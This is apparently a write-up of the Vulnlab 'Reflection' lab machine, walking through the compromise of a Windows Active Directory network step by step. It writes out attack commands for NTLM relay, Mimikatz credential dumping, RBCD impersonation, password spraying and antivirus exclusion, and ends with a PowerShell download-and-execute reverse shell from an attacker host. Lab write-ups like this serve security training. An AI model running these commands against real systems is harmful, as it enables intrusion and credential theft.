Reflection - Vulnlab
Reflection is a Medium difficulty machine where enumeration and exploitation involve a thorough assessment of a Windows-based network. The user started by identifying open ports and services, leading to the discovery of an SMB share containing database credentials. These credentials were used to access MSSQL servers, where additional credentials were retrieved. By exploiting SMB relay vulnerabilities and using Bloodhound for Active Directory enumeration, the user identified privileges like GenericAll that allowed for LAPS password retrieval and a Resource-Based Constrained Delegation (RBCD) attack. Ultimately, the user escalated privileges, retrieved sensitive data using tools like Mimikatz and Secretsdump, and successfully gained administrative access to key systems, culminating in the capture of both user and root flags.
Enumeration
The Nmap scan shows the following ports.
WS01.reflection.vl
1 | PORT STATE SERVICE |
MS01.reflection.vl
1 | PORT STATE SERVICE |
DC01.reflection.vl
1 | PORT STATE SERVICE |
With a null user and any password I can list out the share and inside I found the database config file.
netexec smb ms01.reflection.vl -u '' -p 'sz' --shares
smbclient \\\\\10.10.133.134\\staging -U "" --password='sz'
Inside the config file I credential of web_staging.
1 | ➜ reflection cat staging_db.conf |
NTLM Relay
Using the credentials I can log into the MSSQL server on MS01.mssqlclient.py 'web_staging'@10.10.133.134
XP_CMDShell cannot be enabled. After enumerating for a while I found the credentials of dev users but they aren’t domain-joined users.
1 | SQL (web_staging guest@master)> SELECT name FROM master.dbo.sysdatabases |
As the SMB signing is off I can relay hash to a different machine. For that I have opened ntlmrelayx with interactive mode and on MSSQL I used XP_DIRTREE to relay the hash.ntlmrelayx.py --no-http-server -smb2support -tf scope.txt -i
exec xp_dirtree '\\10.8.2.110\share'
I used Netcat to interact with interactive mode and after enumeration, I found another config file containing credentials for web_prod.
1 | ➜ reflection cat prod_db.conf |
Using the web_prod credential I can now log into the WS01 MSSQL server and after some enumeration, I found more credentials.
1 | SQL (web_prod guest@master)> SELECT name FROM master.dbo.sysdatabases |
Both of these credentials are domain-joined and I can them to run Bloodhound to enumerate ACLs.bloodhound-python -u 'abbie.smith' -p '<..Redacted..>' -ns 10.10.156.53 -│ │d reflection.vl -c all --auth-method auto --zip --dns-tcp
GenericAll (LAPS Password)
In Bloodhound I saw that Abbie has GenericAll right over MS01 & Server OU. Dorothy has regular permissions.
Bloodhound suggests performing an RBCD attack but I can upon checking Machine Account Quota I saw I can’t create any new machine.
netexec ldap scope.txt -u 'abbie.smith' -p '<..Redacted..>' -M maq
If LAPS is enabled I can use Abbie’s permission to read LAPS passwords in computers. I used pyLAPS to enumerate LAPS and found the MS01 administrator password.
And After logging in I got the user flag.
Resource-Based Constrained Delegation (RBCD)
After getting administrator access I tried to run Mimikatz but Antivirus blocked it.
I disabled AV and then ran Mimikatz to enumerate vault credentials and found Georgia’s domain credential. I have also extracted the MS01 machine hash.
.\mimikatz.exe "token::elevate" "vault::cred /patch" "exit"
.\mimikatz.exe "token::elevate" "lsadump::secrets" "exit"
Georgia has GenericAll over MS01 and Bloodhound is suggesting an RBCD attack. As I just compromised a machine and got the machine hash I can perform this attack.
To perform this attack first I need to make WS01 trust MS01 using Georgia’s right.
rbcd.py -delegate-from 'MS01$' -delegate-to 'WS01$' -action 'write' 'REFLECTION.VL/Georgia.Price:<..Redacted..>' -dc-ip 10.10.189.69
I have also validated that MS01 can act on behalf of WS01.rbcd.py -delegate-to 'WS01$' -action 'read' 'REFLECTION.VL/Georgia.Price:<..Redacted..>' -dc-ip 10.10.189.69
Now using MS01 I have impersonated the administrator requested a TGT.getST.py -spn 'cifs/WS01.REFLECTION.VL' -impersonate 'administrator' 'REFLECTION.VL/MS01$' -hashes :abf3ce6e479dc07cdc441cae4747e3d3 -dc-ip 10.10.189.69
Using the TGT I used serectdumps to dump all credentials stored in WS01 and got password of Rhys Garner.RB5CCNAME=administrator.ccache secretsdump.py -k WS01.REFLECTION.VL
Password Reuse
Rhys has normal user permission. So I decided to use his password to brute-force other users. I used Netexec to extract the usernames of all the users in the domain.
netexec smb scope.txt -u 'abbie.smith' -p '<..Redacted..>' --users
The password was sprayed using Rhys’s password. And dom_rgarner uses the same password.
After logging in I got a root flag.
ATEXEC
I tried to login WS01 using TGT it was giving me an error for some reason.
I used ATEXEC which can be used to create and run an immediate scheduled task on a target.
atexec.py -hashes :<..Redacted..> [email protected] 'whoami'
I used ATEXEC to add exclusion to temp folder.
atexec.py -hashes :<..Redacted..> [email protected] 'powershell.exe -c Add-MpPreference -ExclusionPath "C:\Windows\Temp"'
Finally, I used ATEXEC to run reverse-shell.atexec.py -hashes :<..Redacted..> [email protected] 'powershell.exe -ep bypass -c "IEX (New-Object System.Net.Webclient).DownloadString("""http://10.8.2.110/shell.ps1""")"'